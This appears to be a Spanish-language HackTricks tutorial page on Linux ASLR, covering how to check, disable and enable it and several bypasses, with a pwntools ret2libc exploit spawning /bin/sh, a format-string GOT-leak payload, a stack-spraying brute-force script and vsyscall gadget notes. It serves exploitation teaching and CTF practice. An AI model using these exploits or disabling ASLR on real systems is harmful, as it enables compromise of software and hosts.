ASLR

Reading time: 11 minutes

tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Apoya a HackTricks

Información Básica

Address Space Layout Randomization (ASLR) es una técnica de seguridad utilizada en sistemas operativos para aleatorizar las direcciones de memoria utilizadas por los procesos del sistema y de la aplicación. Al hacerlo, se dificulta significativamente que un atacante prediga la ubicación de procesos y datos específicos, como la pila, el montón y las bibliotecas, mitigando así ciertos tipos de exploits, particularmente desbordamientos de búfer.

Verificando el Estado de ASLR

Para verificar el estado de ASLR en un sistema Linux, puedes leer el valor del archivo /proc/sys/kernel/randomize_va_space. El valor almacenado en este archivo determina el tipo de ASLR que se está aplicando:

  • 0: Sin aleatorización. Todo es estático.
  • 1: Aleatorización conservadora. Las bibliotecas compartidas, la pila, mmap(), la página VDSO están aleatorizadas.
  • 2: Aleatorización completa. Además de los elementos aleatorizados por la aleatorización conservadora, la memoria gestionada a través de brk() está aleatorizada.

Puedes verificar el estado de ASLR con el siguiente comando:

bash
cat /proc/sys/kernel/randomize_va_space

Deshabilitar ASLR

Para deshabilitar ASLR, debes establecer el valor de /proc/sys/kernel/randomize_va_space en 0. Deshabilitar ASLR generalmente no se recomienda fuera de escenarios de prueba o depuración. Aquí te mostramos cómo puedes deshabilitarlo:

bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

También puedes desactivar ASLR para una ejecución con:

bash
setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args

Habilitando ASLR

Para habilitar ASLR, puedes escribir un valor de 2 en el archivo /proc/sys/kernel/randomize_va_space. Esto generalmente requiere privilegios de root. La habilitación de la aleatorización completa se puede hacer con el siguiente comando:

bash
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

Persistencia a Través de Reinicios

Los cambios realizados con los comandos echo son temporales y se restablecerán al reiniciar. Para hacer que el cambio sea persistente, necesitas editar el archivo /etc/sysctl.conf y agregar o modificar la siguiente línea:

tsconfig
kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR

Después de editar /etc/sysctl.conf, aplica los cambios con:

bash
sudo sysctl -p

Esto asegurará que la configuración de ASLR se mantenga a través de reinicios.

Bypasses

Fuerza bruta de 32 bits

PaX divide el espacio de direcciones del proceso en 3 grupos:

  • Código y datos (inicializados y no inicializados): .text, .data y .bss —> 16 bits de entropía en la variable delta_exec. Esta variable se inicializa aleatoriamente con cada proceso y se suma a las direcciones iniciales.
  • Memoria asignada por mmap() y bibliotecas compartidas —> 16 bits, llamada delta_mmap.
  • La pila —> 24 bits, referida como delta_stack. Sin embargo, utiliza efectivamente 11 bits (del 10º al 20º byte inclusive), alineados a 16 bytes —> Esto resulta en 524,288 posibles direcciones de pila reales.

Los datos anteriores son para sistemas de 32 bits y la entropía final reducida hace posible eludir ASLR reintentando la ejecución una y otra vez hasta que el exploit se complete con éxito.

Ideas de fuerza bruta:

  • Si tienes un desbordamiento lo suficientemente grande para alojar un gran NOP sled antes del shellcode, podrías simplemente forzar direcciones en la pila hasta que el flujo salte sobre alguna parte del NOP sled.
  • Otra opción para esto en caso de que el desbordamiento no sea tan grande y el exploit se pueda ejecutar localmente es posible agregar el NOP sled y el shellcode en una variable de entorno.
  • Si el exploit es local, puedes intentar forzar la dirección base de libc (útil para sistemas de 32 bits):
python
for off in range(0xb7000000, 0xb8000000, 0x1000):
  • Si atacas un servidor remoto, podrías intentar forzar por fuerza bruta la dirección de la función usleep de libc, pasando como argumento 10 (por ejemplo). Si en algún momento el servidor tarda 10s extra en responder, encontraste la dirección de esta función.

tip

En sistemas de 64 bits, la entropía es mucho mayor y esto no debería ser posible.

Fuerza bruta en la pila de 64 bits

Es posible ocupar una gran parte de la pila con variables de entorno y luego intentar abusar del binario cientos/miles de veces localmente para explotarlo.
El siguiente código muestra cómo es posible simplemente seleccionar una dirección en la pila y cada pocas centenas de ejecuciones esa dirección contendrá la instrucción NOP:

c
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>

int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
python
import subprocess
import traceback

# Start the process
nop = b"\xD5\x1F\x20\x03" # ARM64 NOP transposed
n_nops = int(128000/4)
shellcode_env_var = nop * n_nops

# Define the environment variables you want to set
env_vars = {
'a': shellcode_env_var,
'b': shellcode_env_var,
'c': shellcode_env_var,
'd': shellcode_env_var,
'e': shellcode_env_var,
'f': shellcode_env_var,
'g': shellcode_env_var,
'h': shellcode_env_var,
'i': shellcode_env_var,
'j': shellcode_env_var,
'k': shellcode_env_var,
'l': shellcode_env_var,
'm': shellcode_env_var,
'n': shellcode_env_var,
'o': shellcode_env_var,
'p': shellcode_env_var,
}

cont = 0
while True:
cont += 1

if cont % 10000 == 0:
break

print(cont, end="\r")
# Define the path to your binary
binary_path = './aslr-testing'

try:
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
output = process.communicate()[0]
if "0xd5" in str(output):
print(str(cont) + " -> " + output)
except Exception as e:
print(e)
print(traceback.format_exc())
pass

Información Local (/proc/[pid]/stat)

El archivo /proc/[pid]/stat de un proceso siempre es legible por todos y contiene información interesante como:

  • startcode & endcode: Direcciones por encima y por debajo del TEXT del binario
  • startstack: La dirección del inicio de la pila
  • start_data & end_data: Direcciones por encima y por debajo donde está el BSS
  • kstkesp & kstkeip: Direcciones actuales de ESP y EIP
  • arg_start & arg_end: Direcciones por encima y por debajo donde están los argumentos cli.
  • env_start & env_end: Direcciones por encima y por debajo donde están las variables de entorno.

Por lo tanto, si el atacante está en la misma computadora que el binario que se está explotando y este binario no espera el desbordamiento de argumentos en bruto, sino de una entrada diferente que se puede crear después de leer este archivo. Es posible que un atacante obtenga algunas direcciones de este archivo y construya offsets a partir de ellas para la explotación.

tip

Para más información sobre este archivo, consulta https://man7.org/linux/man-pages/man5/proc.5.html buscando /proc/pid/stat

Tener un leak

  • El desafío es proporcionar un leak

Si se te proporciona un leak (desafíos CTF fáciles), puedes calcular offsets a partir de él (suponiendo, por ejemplo, que conoces la versión exacta de libc que se utiliza en el sistema que estás explotando). Este ejemplo de explotación se extrae de ejemplo de aquí (consulta esa página para más detalles):

python
from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)

libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
0x0,        # return address
next(libc.search(b'/bin/sh'))
)

p.sendline(payload)

p.interactive()
  • ret2plt

Abusando de un desbordamiento de búfer, sería posible explotar un ret2plt para exfiltrar una dirección de una función de la libc. Ver:

Ret2plt

  • Format Strings Arbitrary Read

Al igual que en ret2plt, si tienes una lectura arbitraria a través de una vulnerabilidad de cadenas de formato, es posible exfiltrar la dirección de una función de libc desde el GOT. El siguiente ejemplo es de aquí:

python
payload = p32(elf.got['puts'])  # p64() if 64-bit
payload += b'|'
payload += b'%3$s'              # The third parameter points at the start of the buffer

# this part is only relevant if you need to call the main function again

payload = payload.ljust(40, b'A')   # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])

Puedes encontrar más información sobre la lectura arbitraria de cadenas de formato en:

Format Strings

Ret2ret & Ret2pop

Intenta eludir ASLR abusando de direcciones dentro de la pila:

Ret2ret & Reo2pop

vsyscall

El mecanismo vsyscall sirve para mejorar el rendimiento al permitir que ciertas llamadas al sistema se ejecuten en el espacio de usuario, aunque son parte fundamental del kernel. La ventaja crítica de vsyscalls radica en sus direcciones fijas, que no están sujetas a ASLR (Aleatorización del Diseño del Espacio de Direcciones). Esta naturaleza fija significa que los atacantes no requieren una vulnerabilidad de fuga de información para determinar sus direcciones y usarlas en un exploit.
Sin embargo, no se encontrarán gadgets super interesantes aquí (aunque, por ejemplo, es posible obtener un equivalente a ret;)

(El siguiente ejemplo y código es de este informe)

Por ejemplo, un atacante podría usar la dirección 0xffffffffff600800 dentro de un exploit. Mientras que intentar saltar directamente a una instrucción ret podría llevar a inestabilidad o bloqueos después de ejecutar un par de gadgets, saltar al inicio de un syscall proporcionado por la sección vsyscall puede resultar exitoso. Al colocar cuidadosamente un gadget ROP que dirija la ejecución a esta dirección vsyscall, un atacante puede lograr la ejecución de código sin necesidad de eludir ASLR para esta parte del exploit.

ef➤  vmmap
Start              End                Offset             Perm Path
0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap]
0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤  x.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➤  x/8g 0xffffffffff600000
0xffffffffff600000:    0xf00000060c0c748    0xccccccccccccc305
0xffffffffff600010:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600020:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600030:    0xcccccccccccccccc    0xcccccccccccccccc
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3

vDSO

Nota, por lo tanto, cómo podría ser posible eludir ASLR abusando del vdso si el kernel está compilado con CONFIG_COMPAT_VDSO, ya que la dirección del vdso no será aleatorizada. Para más información, consulta:

Ret2vDSO

tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Apoya a HackTricks